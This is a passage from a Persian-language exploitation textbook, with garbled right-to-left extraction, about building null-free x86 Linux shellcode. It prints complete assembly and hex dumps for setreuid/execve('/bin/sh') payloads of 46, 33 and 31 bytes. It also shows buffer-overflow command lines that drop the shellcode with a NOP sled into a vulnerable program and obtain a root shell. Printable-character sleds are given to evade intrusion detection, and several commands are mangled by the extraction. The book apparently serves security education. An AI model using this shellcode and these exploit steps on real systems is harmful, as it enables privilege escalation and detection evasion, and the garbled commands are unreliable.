ﭼﺮا ﮐﻪ اﯾﻦ ﺛﺒـﺎت ﻗـﺒﻼ، ﻧﯿﺴﺖEAX اﺣﺘﯿﺎج ﺑﻪ ﺻﻔﺮ ﮐﺮدن ﺛﺒﺎت، در ﮐﺪexecve() ﺗﻮﺟﻪ داﺷﺘﻪ ﺑﺎﺷﯿﺪ ﮐﻪ در ﻗﺴﻤﺖ
، اﮔﺮ اﯾﻦ ﺗﮑﻪ ﮐﺪ را اﺳﻤﺒﻞ ﮐﺮده و ﺑﺎ ﯾﮏ وﯾﺮاﯾﺸﮕﺮ ﻫﮕﺰادﺳﯿﻤﺎل ﺑﺮرﺳﯽ ﮐﻨـﯿﻢ.در اﺑﺘﺪای آن ﻗﺴﻤﺖ ﺻﻔﺮ ﺷﺪه اﺳﺖ
.دﯾﮕﺮ ﻫﯿﭻ ﺑﺎﯾﺖ ﭘﻮﭼﯽ در ﺑﺮﻧﺎﻣﻪ وﺟﻮد ﻧﺨﻮاﻫﺪ داﺷﺖ
$ nasm shellcode.asm
$ hexedit shellcode
00000000 31 C0 B0 46 31 DB 31 C9 CD 80 EB 16 5B 31 C0 88 1..F1.1.....[1..
00000010 43 07 89 5B 08 89 43 0C B0 0B 8D 4B 08 8D 53 0C C..[..C....K..S.
00000020 CD 80 E8 E5 FF FF FF 2F 62 69 6E 2F 73 68 58 41 ......./bin/shXA
00000030 41 41 41 42 42 42 42 AAABBBB
.ﮐﺪ ﻣﯽ ﺗﻮاﻧﺪ ﺑﻪ درﺳﺘﯽ و ﮐﺎﻣﻞ در ﺑﺎﻓﺮﻫﺎ ﮐﭙﯽ ﺷﻮد-اﮐﻨﻮن ﮐﻪ ﻫﯿﭻ ﺑﺎﯾﺖ ﭘﻮﭼﯽ ﺑﺎﻗﯽ ﻧﻤﺎﻧﺪه اﺳﺖ ﻟﺬا ﺷﻞ
ﻋﻼوه ﺑﺮ از ﺑﯿﻦ، ﺑﯿﺘﯽ8 اﻣﺎ اﺳﺘﻔﺎده از ﺛﺒﺎت ﻫﺎ و دﺳﺘﻮرات،اﮔﺮﭼﻪ در ﭼﻨﺪ ﻣﮑﺎن ﯾﮏ دﺳﺘﻮر اﺿﺎﻓﻪ ﺑﻪ ﺑﺮﻧﺎﻣﻪ اﺿﺎﻓﻪ ﺷﺪ
ﭼﺮا ﮐﻪ ﻣـﺎ ﻫﻤﯿـﺸﻪ اﻧـﺪازه،ﮐﺪﻫﺎی ﮐﻮﭼﮑﺘﺮ ﻣﻨﺎﺳﺒﺘﺮ ﻫﺴﺘﻨﺪ- ﺷﻞ.ﮐﺪ را ﻧﯿﺰ ﮐﻢ ﮐﺮد- اﻧﺪازه ﺷﻞ،ﺑﺮدن ﺑﺎﯾﺖ ﻫﺎی ﭘﻮچ
ﮐﺪ را ﺗﺎ ﭼﻨﺪ ﺑﺎﯾﺖ دﯾﮕـﺮ ﻧﯿـﺰ ﮐـﻮﭼﮑﺘﺮ- اﻟﺒﺘﻪ ﻣﯽ ﺗﻮان اﯾﻦ ﺷﻞ.ﺑﺎﻓﺮ ﻫﺪف را ﺑﺮای اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﻧﺨﻮاﻫﯿﻢ داﻧﺴﺖ
.ﮐﺮد
ﺑﻪ ﻣﻨﻈﻮر ﺗﺨﺼﯿﺺ ﺻﺤﯿﺢ ﺣﺎﻓﻈﻪ ﺑﺮای ﺑﺎﯾـﺖ ﭘـﻮچ و دو آدرﺳـﯽ/bin/sh در اﻧﺘﻬﺎی رﺷﺘﻪXAAAABBBB ﻋﺒﺎرت
اﯾـﻦ ﺗﺨـﺼﯿﺺ ﺣﺎﻓﻈـﻪ،ﮐﺪ ﯾﮏ ﺑﺮﻧﺎﻣﻪ واﻗﻌﯽ و ﻣـﺴﺘﻘﻞ ﺑـﻮد- ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﺷﻞ.ﮐﻪ ﺑﻌﺪا در آﻧﺠﺎ ﮐﭙﯽ ﻣﯿﺸﻮﻧﺪ اﺿﺎﻓﻪ ﺷﺪ
ﭘـﺲ ﻧﯿـﺎزی،ﮐﺪ ﺣﺎﻓﻈﻪ ای را ﮐﻪ ﺑﺮای آن ﺗﺨﺼﯿﺺ ﻧﯿﺎﻓﺘﻪ اﺳﺖ ﻣﯽ رﺑﺎﯾـﺪ- اﻣﺎ در ﺣﺎل ﺣﺎﺿﺮ ﮐﻪ ﺷﻞ.ﻣﺴﺌﻠﻪ ﻣﻬﻤﯽ ﺑﻮد
ﮐﺪ ﺑﻪ ﺻﻮرت زﯾﺮ ﺧﻮاﻫـﺪ- اﯾﻦ داده اﺿﺎﻓﯽ را ﻣﯽ ﺗﻮان ﺑﺎ اﻃﻤﯿﻨﺎن ﭘﺎک ﮐﺮد و ﻧﻬﺎﯾﺘﺎ ﺷﻞ.ﺑﻪ آن ﻋﺒﺎرت ﻧﯿﺰ ﻧﺨﻮاﻫﺪ ﺑﻮد
:ﺷﺪ
00000000 31 C0 B0 46 31 DB 31 C9 CD 80 EB 16 5B 31 C0 88 1..F1.1.....[1..
00000010 43 07 89 5B 08 89 43 0C B0 0B 8D 4B 08 8D 53 0C C..[..C....K..S.
00000020 CD 80 E8 E5 FF FF FF 2F 62 69 6E 2F 73 68 ......./bin/sh
.ﮐﺪ ﻧﻬﺎﯾﯽ اﺳﺖ ﮐﻪ از ﻫﺮ ﮔﻮﻧﻪ ﺑﺎﯾﺖ ﭘﻮچ ﻣﺒﺮا ﻣﯽ ﺑﺎﺷﺪ-ﺧﺮوﺟﯽ ﻓﻮق ﺷﻞ
ﺷﺎﯾﺪ ﺑﺘﻮان از ﻣﻌﺎدﻻت دﺳﺘﻮری ارزش ﻣﻨﺪﺗﺮی )ﺑﻪ ﺧـﺼﻮص،ﭘﺲ از اﻧﺠﺎم ﺗﻤﺎم آن ﮐﺎرﻫﺎ ﺑﺮای ﺣﺬف ﺑﺎﯾﺖ ﻫﺎی ﭘﻮچ
:ﻣﻌﺎدﻻت ﯾﮏ دﺳﺘﻮری( ﻣﻨﻔﻌﺖ ﺑﺮد
mov [ebx+7], al ; put the 0 from eax where the X is in the string
; ( 7 bytes offset from the beginning)
82
اﯾﻦ دﺳﺘﻮر در ﺣﻘﯿﻘﺖ ﯾﮏ ﺣﻘﻪ ﺑﺮای اﺟﺘﻨﺎب از ﺑﺎﯾﺖ ﻫﺎی ﭘﻮچ اﺳﺖ .ﭼﻮن رﺷﺘﻪ /bin/shﺑﺎﯾﺪ ﺑﺎ ﺑﺎﯾﺖ ﭘﻮچ ﺧﺎﺗﻤﻪ ﯾﺎﺑﺪ
)ﺗﺎ ﺑﺘﻮان واﻗﻌﺎ ﻧﺎﻣﺶ را رﺷﺘﻪ ﮔﺬاﺷﺖ( ،ﻟﺬا ﺑﺎﯾﺪ ﺑﻌﺪ از رﺷﺘﻪ ﯾﮏ ﺑﺎﯾﺖ ﭘﻮچ ﻣﻮﺟﻮد ﺑﺎﺷﺪ .اﻣﺎ ﭼﻮن اﯾﻦ رﺷـﺘﻪ ﻋﻤـﻼ در
ﻗﻄﻌﻪ ﮐﺪ ﻗﺮار ﮔﺮﻓﺘﻪ اﺳﺖ ،ﻟﺬا ﺧﺎﺗﻤﻪ دادن رﺷﺘﻪ ﺑﺎ ﯾﮏ ﺑﺎﯾﺖ ﭘﻮچ ﻣﻨﺠﺮ ﺑﻪ ﻗﺮار ﮔﺮﻓﺘﻦ ﯾﮏ ﺑﺎﯾﺖ ﭘﻮچ در ﺷﻞ-ﮐﺪ ﻣﯽ
ﮔﺮدد .ﺑﺎ ﺻﻔﺮ ﮐﺮدن ﺛﺒﺎت EAXﺑﺎ ﯾﮏ دﺳﺘﻮر XORو ﺳﭙﺲ ﮐﭙﯽ ﮐﺮدن ﯾﮏ ﺑﺎﯾﺖ واﺣﺪ ﺑﻪ ﺟﺎی ﺑﺎﯾـﺖ ﭘـﻮچ )ﺟـﺎﯾﯽ
ﮐﻪ Xﻗﺮار داﺷﺖ( ،ﮐﺪ ﻗﺎدر ﺑﻪ ﺗﻐﯿﯿﺮ دادن ﺧﻮد ﻣﯽ ﮔﺮدد و ﺑﺪون اﯾﻨﮑﻪ ﻋﻤﻼ ﺑﺎﯾﺖ ﭘﻮچ در آن وﺟﻮد داﺷﺘﻪ ﺑﺎﺷﺪ ،ﻣـﯽ
ﺗﻮاﻧﺪ رﺷﺘﻪ ﻫﺎی ﺧﻮد را ﺑﺎ ﺑﺎﯾﺖ ﭘﻮچ ﺧﺎﺗﻤﻪ دﻫﺪ.
اﯾﻦ ﺷﻞ-ﮐﺪ را ﻣﯽ ﺗﻮان در اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎی ﺑﯽ ﺷـﻤﺎری اﺳـﺘﻔﺎده ﮐـﺮد و در ﺣﻘﯿﻘـﺖ ﻫﻤـﺎن ﺷـﻞ-ﮐـﺪی اﺳـﺖ ﮐـﻪ در
اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎ در اﺑﺘﺪای اﯾﻦ ﻓﺼﻞ اﺳﺘﻔﺎده ﻣﯽ ﺷﺪ.
ﻫﻨﻮز ﯾﮏ ﺣﻘﻪ دﯾﮕﺮ را ﻣﯽ ﺗﻮان ﺣﺘﯽ ﺑﺮای ﺗﻮﻟﯿﺪ ﺷﻞ-ﮐﺪ ﮐﻮﭼﮑﺘﺮ ﺑﮑﺎر ﮔﺮﻓﺖ .اﻧﺪازه ﺷﻞ-ﮐﺪ ﻗﺒﻠﯽ 46ﺑﺎﯾﺖ ﺑﻮد ،اﻣـﺎ
اﺳﺘﻔﺎده ﻫﻮﺷﻤﻨﺪاﻧﻪ از ﭘﺸﺘﻪ ﻣﯽ ﺗﻮاﻧﺪ اﻧﺪازه ﺷﻞ-ﮐﺪ را 31ﺑﺎﯾﺖ ﻫﻢ ﮐـﺎﻫﺶ دﻫـﺪ .ﺑﺠـﺎی اﺳـﺘﻔﺎده از ﺣﻘـﻪ call/jmp
ﺑﺮای درﯾﺎﻓﺖ اﺷﺎرﮔﺮی از رﺷﺘﻪ ،/bin/shاﯾﻦ ﺗﮑﻨﯿﮏ ﺑـﺴﺎدﮔﯽ ﻣﻘـﺎدﯾﺮ را در ﭘـﺸﺘﻪ ﻗـﺮار داده و در زﻣـﺎن ﻫـﺎی ﻻزم
اﺷﺎرﮔﺮ ﭘﺸﺘﻪ را ﮐﭙﯽ ﻣﯽ ﮐﻨﺪ .ﮐﺪ زﯾﺮ ﺷﺎﻟﻮده اﯾﻦ ﺗﮑﻨﯿﮏ را در ﮐﻠﯽ ﺗﺮﯾﻦ ﺷﮑﻞ ﻣﻤﮑﻦ ﻧﺸﺎن ﻣﯽ دﻫﺪ.
stackshell.asm
BITS 32
; execve(const char )][*filename, char *const argv [], char *const envp
push ecx ; push 4 bytes of null from ecx to the stack
push 0x68732f2f ; push "//sh" to the stack
push 0x6e69622f ; push "/bin" to the stack
mov ebx, esp ; put the address of "/bin//sh" to ebx, via esp
push ecx ; push 4 bytes of null from ecx to the stack
push ebx ; push ebx to the stack
mov ecx, esp ; put the address of ebx to ecx, via esp
xor edx, edx ; put 0 into edx
mov al, 11 ; put 11 into eax, since execve() is syscall #11
int 0x80 ; call the kernel to make the syscall happen
ﺑﺨﺸﯽ از ﮐﺪ ﮐﻪ ﻣﺴﺌﻮل ﻓﺮاﺧﻮاﻧﯽ )( setreuidاﺳﺖ دﻗﯿﻘﺎ ﻫﻤﺎن ﮐﺪ ﻗﺒﻠﯽ ﯾﻌﻨﯽ shellcode.asmاﺳـﺖ ،اﻣـﺎ در اﯾﻨﺠـﺎ
ﻓﺮاﺧﻮاﻧﯽ )( execveﺑﻪ ﻃﺮﯾﻘﻪ ﻣﺘﻔﺎوﺗﯽ اﻧﺠﺎم ﻣﯽ ﺷﻮد .اﺑﺘﺪا ﺑﺮای ﺧﺎﺗﻤﻪ دادن رﺷﺘﻪ ای ﮐـﻪ در دو دﺳـﺘﻮر ﺑﻌـﺪی روی
ﭘﺸﺘﻪ ﻗﺮار ﻣﯽ ﮔﯿﺮد )ﺑﻪ ﺧﺎﻃﺮ داﺷﺘﻪ ﺑﺎﺷﯿﺪ ﮐﻪ ﭘﺸﺘﻪ ﺑﻪ ﺻﻮرت ﻣﻌﮑﻮس ﺳﺎﺧﺘﻪ ﻣﯽ ﺷﻮد( ،ﭼﻬﺎر ﺑﺎﯾﺖ ﭘـﻮچ روی ﭘـﺸﺘﻪ
ﻗﺮار ﻣﯽ ﮔﯿﺮﻧﺪ) .(pushﭼﻮن ﻓﻀﺎی ﻫﺮ دﺳﺘﻮر pushﺑﺎﯾﺪ ﺑﻪ اﻧﺪازه ﯾﮏ ﮐﻠﻤﻪ 4ﺑﺎﯾﺘﯽ ﺑﺎﺷـﺪ ،ﻟـﺬا ﺑـﻪ ﺟـﺎی اﺳـﺘﻔﺎده از
/bin/shاز /bin//shاﺳﺘﻔﺎده ﻣﯽ ﺷﻮد .اﯾﻦ دو رﺷﺘﻪ ﻫﻨﮕﺎم اﺳﺘﻔﺎده در ﻓﺮاﺧﻮاﻧﯽ )( execveﯾﮑﺴﺎن ﻫـﺴﺘﻨﺪ .اﺷـﺎرﮔﺮ
ﭘﺴﺘﻪ درﺳﺖ ﺑﻌﺪ از اﺑﺘﺪای اﯾﻦ رﺷﺘﻪ ﺧﻮاﻫﺪ ﺑﻮد ،ﻟﺬا ﺑﺎﯾﺪ در ﺛﺒﺎت EBXﮐﭙﯽ ﮔﺮدد .ﺳﭙﺲ ﮐﻠﻤﻪ ﭘﻮچ دﯾﮕﺮی ﺑﻬﻤـﺮاه
EBXروی ﭘﺸﺘﻪ ﻗﺮار ﻣﯽ ﮔﯿﺮﻧﺪ ﺗﺎ ﺑﻪ ﻋﻨﻮان اﺷﺎرﮔﺮی ﺑﻪ ﯾﮏ اﺷﺎرﮔﺮ از دوﻣـﯿﻦ ﭘـﺎراﻣﺘﺮ ﻓﺮاﺧـﻮاﻧﯽ )( execveﻋﻤـﻞ
ﻧﻤﺎﯾﻨﺪ .ﺑﺮای اﯾﻦ آرﮔﻮﻣﺎن اﺷﺎرﮔﺮ ﭘﺸﺘﻪ در ﺛﺒﺎت ECXﮐﭙﯽ ﻣﯽ ﺷﻮد و ﺳﭙﺲ ﺛﺒـﺎت EDXﺻـﻔﺮ ﻣـﯽ ﮔـﺮدد .در ﮐـﺪ
،shellcode.asmﺛﺒﺎت EDXﺑﻪ ﻋﻨﻮان اﺷﺎرﮔﺮی ﺗﻨﻈﯿﻢ ﺷﺪه ﺑﻮد ﮐﻪ ﺑﻪ 4ﺑﺎﯾـﺖ ﭘـﻮچ اﺷـﺎره ﻣـﯽ ﮐـﺮد ،اﻣـﺎ در ﺣـﺎل
ﺣﺎﺿﺮ )ﺑﺎ در اﺧﺘﯿﺎر داﺷﺘﻦ دﺳﺘﻮر (XORﻣﯽ ﺗﻮان ﺑﺮاﺣﺘﯽ آﻧﺮا ﺑﻪ ﺻﻮرت ﭘـﻮچ ﺗﻨﻈـﯿﻢ ﮐـﺮد .ﻧﻬﺎﯾﺘـﺎ ﺑـﺮای ﻓﺮاﺧـﻮاﻧﯽ
83
)( ،execveﻣﻘﺪار 11در ﺛﺒﺎت EAXﻗﺮار ﮔﺮﻓﺘﻪ و ﭘﺲ از آن ﻫﺴﺘﻪ ﺑﺎ اﺳﺘﻔﺎده از وﻗﻔﻪ ﻓﺮاﺧﻮاﻧﯽ ﻣﯽ ﺷﻮد .ﻫﻤﺎن ﻃﻮر
ﮐﻪ از ﺧﺮوﺟﯽ زﯾﺮ ﺑﺮ ﻣﯽ آﯾﺪ ،اﻧﺪازه اﯾﻦ ﮐﺪ ﺑﻪ ﻫﻨﮕﺎم اﺳﻤﺒﻞ ﺷﺪن 33ﺑﺎﯾﺖ اﺳﺖ.
$ nasm stackshell.asm
$ wc -c stackshell
33 stackshell
$ hexedit stackshell
00000000 31 C9 31 DB 31 C0 B0 46 CD 80 51 68 2F 2F 73 68 1.1.1..F..Qh//sh
00000010 68 2F 62 69 6E 89 E3 51 53 89 E1 31 D2 B0 0B CD h/bin..QS..1....
00000020 80
دو ﺣﻘﻪ را ﻣﯽ ﺗﻮان اﺳﺘﻔﺎده ﮐﺮد ﺗﺎ دو ﺑﺎﯾﺖ دﯾﮕﺮ را ﻧﯿﺰ از اﯾﻦ ﮐﺪ ﮐﻢ ﮐﺮد .اوﻟﯿﻦ ﺣﻘﻪ ﺗﻐﯿﯿﺮ دادن ﺧﻄﻮط زﯾﺮ
xor eax, eax ; first eax must be 0 for the next instruction
mov al, 70 ; put 70 into eax, since setreuid is syscall #70
ﺑﻪ ﮐﺪﻫﺎی ﻣﻌﺎدل از ﻧﻈﺮ ﻋﺎﻣﻠﯿﺖ زﯾﺮ اﺳﺖ:
push byte 70 ; push the byte value 70 to the stack
pop eax ; pop the 4-byte word 70 from the stack
اﯾﻦ دﺳﺘﻮرات 1ﺑﺎﯾﺖ ﮐﻮﭼﮑﺘﺮ از دﺳﺘﻮرات ﭘﯿﺸﯿﻦ ﻫﺴﺘﻨﺪ ،اﻣﺎ ﻫﻤﺎن ﻋﻤﻞ را اﻧﺠﺎم ﻣﯽ دﻫﻨﺪ .اﯾﻦ ﺣﻘﻪ از اﯾـﻦ واﻗﻌﯿـﺖ
اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ ﮐﻪ ﭘﺴﺘﻪ ﺑﺎ اﺳﺘﻔﺎده از ﮐﻠﻤﺎت 4ﺑﺎﯾﺘﯽ ﺳﺎﺧﺘﻪ ﻣﯽ ﺷﻮد ﻧﻪ ﺑﺎﯾﺖ ﻫﺎی واﺣﺪ .ﻟﺬا اﮔﺮ ﯾﮏ ﺑﺎﯾـﺖ واﺣـﺪ در
ﭘﺸﺘﻪ ﻗﺮار ﮔﯿﺮد ،ﺑﺎﯾﺖ ﻫﺎی ﺑﺎﻗﯿﻤﺎﻧﺪه ﺑﺎ ﻣﻘﺎدﯾﺮ ﺻﻔﺮ ﭘﺮ ﻣﯽ ﺷﻮد ) (padﺗﺎ ﯾﮏ ﮐﻠﻤﻪ 4ﺑﺎﯾﺘﯽ ﮐﺎﻣﻞ را ﺑﺴﺎزﻧﺪ .در ﻧﺘﯿﺠـﻪ
ﻣﯽ ﺗﻮان اﯾﻦ ﻣﻘﺪار را از ﭘﺸﺘﻪ ﺑﺎزﯾﺎﺑﯽ ﮐﺮده و در ﺛﺒﺎت EAXﻗﺮار داد ،ﺑﻪ اﯾﻦ ﺻﻮرت ﺑﺪون اﯾﻨﮑﻪ از ﺑﺎﯾـﺖ ﻫـﺎی ﭘـﻮچ
اﺳﺘﻔﺎده ﮐﺮده ﺑﺎﺷﯿﻢ ،ﯾﮏ ﻣﻘﺪار ﺑﯽ ﻧﻘﺺ و ﭘﺮ ﺷﺪه ﺑﺎ ﺻﻔﺮ ﺧﻮاﻫﯿﻢ داﺷﺖ .اﯾﻦ ﺣﻘﻪ اﻧـﺪازه ﺷـﻞ-ﮐـﺪ را ﺑـﻪ 32ﺑﺎﯾـﺖ
ﮐﺎﻫﺶ ﻣﯽ دﻫﺪ.
ﺣﻘﻪ دوم ﺗﻐﯿﯿﺮ ﺧﻂ زﯾﺮ
xor edx, edx ; put 0 into edx
ﺑﻪ ﮐﺪ ﻣﻌﺎدل از ﻧﻈﺮ ﻋﺎﻣﻠﯿﺖ زﯾﺮ اﺳﺖ:
cdq ; put 0 into edx using the signed bit from eax
دﺳﺘﻮر cdqﺛﺒﺎت EDXرا ﺑﺎ ﺑﯿﺖ ﻋﻼﻣﺖ ﺛﺒﺎت EAXﭘﺮ ﻣﯽ ﮐﻨﺪ .اﮔﺮ ﻣﻘﺪار ﺛﺒﺎت EAXﻣﻨﻔﯽ ﺑﺎﺷﺪ ،ﺗﻤﺎم ﺑﯿـﺖ ﻫـﺎی
ﺛﺒﺎت EDXﺑﺎ ﻣﻘﺎدﯾﺮ 1ﭘﺮ ﻣﯽ ﺷﻮﻧﺪ و اﮔﺮ ﻣﻘﺪار ﺛﺒﺎت EAXﻏﯿﺮ-ﻣﻨﻔﯽ )ﺻﻔﺮ ﯾﺎ ﻣﺜﺒﺖ( ﺑﺎﺷﺪ ،آﻧﮕﺎه ﺗﻤـﺎم ﺑﯿـﺖ ﻫـﺎی
ﺛﺒﺎت EDXﺑﺎ ﻣﻘﺎدﯾﺮ ﺻﻔﺮ ﭘﺮ ﺧﻮاﻫﻨﺪ ﺷﺪ .در اﯾﻦ ﻣﻮرد ﻣﻘﺪار ﺛﺒﺎت EAXﻣﺜﺒﺖ اﺳﺖ ،ﻟﺬا ﺛﺒﺎت EDXﺻﻔﺮ ﺧﻮاﻫـﺪ
ﺷﺪ .اﻧﺪازه اﯾﻦ دﺳﺘﻮر ﯾﮏ ﺑﺎﯾﺖ ﮐﻤﺘﺮ از دﺳﺘﻮر XORاﺳﺖ ،ﺑﻨﺎﺑﺮاﯾﻦ ﯾﮏ ﺑﺎﯾﺖ دﯾﮕﺮ ﻧﯿﺰ از اﻧـﺪازه ﺷـﻞ-ﮐـﺪ ﮐﺎﺳـﺘﻪ
ﻣﯽ ﺷﻮد .ﻟﺬا ﺷﻞ-ﮐﺪ ﮐﻮﭼﮏ و ﻧﻬﺎﯾﯽ ﺑﻪ ﺻﻮرت زﯾﺮ ﺧﻮاﻫﺪ ﺑﻮد:
tinyshell.asm
BITS 32
; execve(const char )][*filename, char *const argv [], char *const envp
push ecx ; push 4 bytes of null from ecx to the stack
push 0x68732f2f ; push "//sh" to the stack
push 0x6e69622f ; push "/bin" to the stack
mov ebx, esp ; put the address of "/bin//sh" to ebx, via esp
push ecx ; push 4 bytes of null from ecx to the stack
push ebx ; push ebx to the stack
mov ecx, esp ; put the address of ebx to ecx, via esp
cdq ; put 0 into edx using the signed bit from eax
mov al, 11 ; put 11 into eax, since execve() is syscall #11
int 0x80 ; call the kernel to make the syscall happen
84
ﺧﺮوﺟﯽ زﯾﺮ ﻧﺸﺎن ﻣﯽ دﻫﺪ ﮐﻪ اﻧﺪازه ﮐﺪ اﺳﻤﺒﻞ ﺷﺪه ی tinyshell.asmﺑﺮاﺑﺮ ﺑﺎ 31ﺑﺎﯾﺖ اﺳﺖ.
$ nasm tinyshell.asm
$ wc -c tinyshell
31 tinyshell
$ hexedit tinyshell
00000000 6A 46 58 31 DB 31 C9 CD 80 51 68 2F 2F 73 68 68 jFX1.1...Qh//shh
00000010 2F 62 69 6E 89 E3 51 53 89 E1 99 B0 0B CD 80 /bin..QS.......
اﯾﻦ ﺷﻞ-ﮐﺪ را ﻣﯽ ﺗﻮان ﺑﺮای اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ vulnﮐﻪ در ﺑﺨﺶ ﻫﺎی ﻗﺒﻠﯽ ﺑﺮرﺳﯽ ﺷﺪ ﺑﮑﺎر ﺑﺮد.
ﯾﮏ ﺣﻘﻪ ﮐﻮﭼﮏ دﯾﮕﺮ در ﺧﻂ-ﻓﺮﻣﺎن وﺟﻮد دارد ﮐﻪ ﺑﺮای ﮔﺮﻓﺘﻦ ﻣﻘﺪار اﺷﺎرﮔﺮ ﭘﺸﺘﻪ ﺑﮑﺎر ﻣﯽ رود .اﯾﻦ ﺑﺮﻧﺎﻣـﻪ ﺑـﺮای
درﯾﺎﻓﺖ ﻗﻄﻌﻪ از ﺣﺎﻓﻈﻪ ﭘﺸﺘﻪ از ﮐﺎرﺑﺮ ﺳﻮال ﮐﺮده و ﺳﭙﺲ ﻣﮑﺎن آن ﺣﺎﻓﻈﻪ را ﭼﺎپ ﻣﯽ ﮐﻨﺪ .ﻫﻤﭽﻨﯿﻦ ﭼـﻮن ﺷـﻞ-ﮐـﺪ
15ﺑﺎﯾﺖ ﮐﻮﭼﮑﺘﺮ اﺳﺖ ،ﻟﺬا ﺳﻮرﺗﻤﻪ NOPﻧﯿﺰ 15ﺑﺎﯾﺖ ﺑﺰرﮔﺘﺮ ﺧﻮاﻫﺪ ﺑﻮد.
?$ echo 'main(){int sp;printf("%p\n",&sp);}'>q.c;gcc -o q.x q.c;./q.x;rm q.
0xbffff884
$ pcalc 202+46-31
217 0xd9 0y11011001
$ ./vuln 'perl -e 'print "\x90"x217;'"cat tinyshell"perl -e 'print
'';"\x84\xf8\xff\xbf"x70
sh-2.05b# whoami
root
sh-2.05b#
ﭼﻨﺪﯾﻦ دﺳﺘﻮر اﺳﻤﺒﻠﯽ ﻣﻔﯿﺪ در ﻣﻌﻤﺎری x86وﺟﻮد دارﻧﺪ ﮐﻪ ﻣﺴﺘﻘﯿﻤﺎ ﺑﻪ ﮐﺎراﮐﺘﺮﻫﺎی اﺳـﮑﯽ ﻗﺎﺑـﻞ ﭼـﺎپ ﻧﮕﺎﺷـﺖ ﻣـﯽ
ﺷﻮﻧﺪ ) .(mapدﺳﺘﻮرات اﻓﺰاﯾﺶ و ﮐﺎﻫﺶ incو decاز ﺟﻤﻠﻪ دﺳﺘﻮرات ﯾﮏ ﺑﺎﯾﺘﯽ در اﯾﻦ ﺑﺎب ﻫﺴﺘﻨﺪ .اﯾﻦ دﺳﺘﻮرات
ﺗﻨﻬﺎ ﯾﮏ واﺣﺪ ﺑﻪ ﺛﺒﺎت ﻣﺮﺑﻮﻃﻪ اﺿﺎﻓﻪ ﮐﺮده ﯾﺎ از آن ﻣﯽ ﮐﺎﻫﻨﺪ.
اﺳﮑﯽ )(ascii ﻫﮕﺰادﺳﯿﻤﺎل )(hex دﺳﺘﻮر
@ 0x40 inc eax
C 0x43 inc ebx
A 0x41 inc ecx
B 0x42 inc edx
H 0x48 dec eax
K 0x4B dec ebx
I 0x49 dec ecx
J 0x4A dec edx
داﻧﺴﺘﻦ اﯾﻦ ﻣﻘﺎدﯾﺮ ﻣﻔﯿﺪ اﺳﺖ .ﺑﻌﻀﯽ از ﺳﯿﺴﺘﻢ ﻫﺎی ﺗﺸﺨﯿﺺ ﻧﻔﻮذ اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎ را ﺑﺎ ﺟﺴﺘﺠﻮی ﺗﻮاﻟﯽ ﻫﺎی ﺑـﺰرگ از
دﺳﺘﻮرات ) NOPﮐﻪ ﻧﺸﺎن دﻫﻨﺪه ﯾﮏ ﺳﻮرﺗﻤﻪ NOPاﺳﺖ( ﺗﺸﺨﯿﺺ ﻣﯽ دﻫﻨﺪ .دﻗﺖ ﻣﻮﺷﮑﺎﻓﺎﻧﻪ راﻫﯽ ﺑﺮای اﺟﺘﻨـﺎب
از اﯾﻦ ﻧﻮع ﺗﺸﺨﯿﺺ ﻫﺎ اﺳﺖ )ﺑﻪ ﺑﮑﺎر ﺑﺴﺘﻦ دﻗﺖ ﯾﺎد ﺷﺪه دﯾﮕﺮ ﻧﯿﺎزی ﺑﻪ ﺳﻮرﺗﻤﻪ NOPﻧﺨﻮاﻫﺪ ﺑﻮد و ﻟﺬا ﻫﯿﭻ ﺗـﻮاﻟﯽ
از دﺳﺘﻮرات NOPﻫﻢ ﯾﺎﻓﺖ ﻧﺨﻮاﻫﺪ ﺷﺪ( ،اﻣﺎ راه دﯾﮕﺮ اﺳﺘﻔﺎده از ﯾﮏ دﺳﺘﻮر ﺗﮏ-ﺑﺎﯾﺘﯽ ﻣﺘﻔﺎوت ﺑﺮای ﺳﻮرﺗﻤﻪ اﺳﺖ.
ﭼﻮن ﺛﺒﺎت ﻫﺎﯾﯽ ﮐﻪ در ﺷﻞ-ﮐﺪ اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد ﺑﻪ ﻫﺮ ﺣﺎل ﺻﻔﺮ ﻣﯽ ﮔﺮدﻧﺪ ،ﻟﺬا اﻓﺰاﯾﺶ ﯾﺎ ﮐﺎﻫﺶ دﺳـﺘﻮرات ﻗﺒـﻞ از
ﺻﻔﺮ ﺷﺪن آﻧﻬﺎ ﺗﺎﺛﯿﺮی ﻧﺨﻮاﻫﺪ داﺷﺖ .ﺑﻪ اﯾﻦ ﺻﻮرت ﻣﯽ ﺗﻮان ﻣﺜﻼ ﺣﺮف Bرا ﺑﻪ ﻃﻮر ﻣﺘﻨـﺎوب ﺑـﻪ ﺟـﺎی ﯾـﮏ دﺳـﺘﻮر
) NOPﮐﻪ ﺣﺎوی ﻣﻘﺪار ﻏﯿﺮﻗﺎﺑﻞ ﭼﺎپ 0x90اﺳﺖ( ﺑﮑﺎر ﺑﺮد .اﯾﻦ ﻣﻮﺿﻮع را در زﯾﺮ ﻣﻼﺣﻈﻪ ﻣﯽ ﮐﻨﯿﺪ:
?$ echo 'main(){int sp;printf("%p\n",&sp);}'>q.c;gcc -o q.x q.c;./q.x;rm q.
0xbffff884
$ ./vuln 'perl -e 'print "B"x217;'"cat tinyshell"perl -e 'print
'';"\x84\xf8\xff\xbf"x70
sh-2.05b# whoami
root
sh-2.05a#
85
ﻫﻤﭽﻨﯿﻦ ﻣﯽ ﺗﻮان ﺗﺮﮐﯿﺒﯽ از اﯾﻦ دﺳﺘﻮرات ﯾﮏ ﺑﺎﯾﺘﯽ ﻗﺎﺑﻞ ﭼﺎپ را ﺑﮑﺎر ﺑﺮد ﮐﻪ در ﻧﺘﯿﺠﻪ ﯾـﮏ ﺗـﻮاﻟﯽ زﯾﺮﮐﺎﻧـﻪ و ﻗﺎﺑـﻞ
ﭘﯿﺶ ﺑﯿﻨﯽ ﺑﺪﺳﺖ ﺧﻮاﻫﺪ آﻣﺪ:
'$ export SHELLCODE=HIJACKHACK'cat tinyshell
$ ./getenvaddr SHELLCODE
SHELLCODE is located at 0xbffffa7e
'';$ ./vuln2 'perl -e 'print "\x7e\xfa\xff\xbf"x8
sh-2.05b# whoami
root
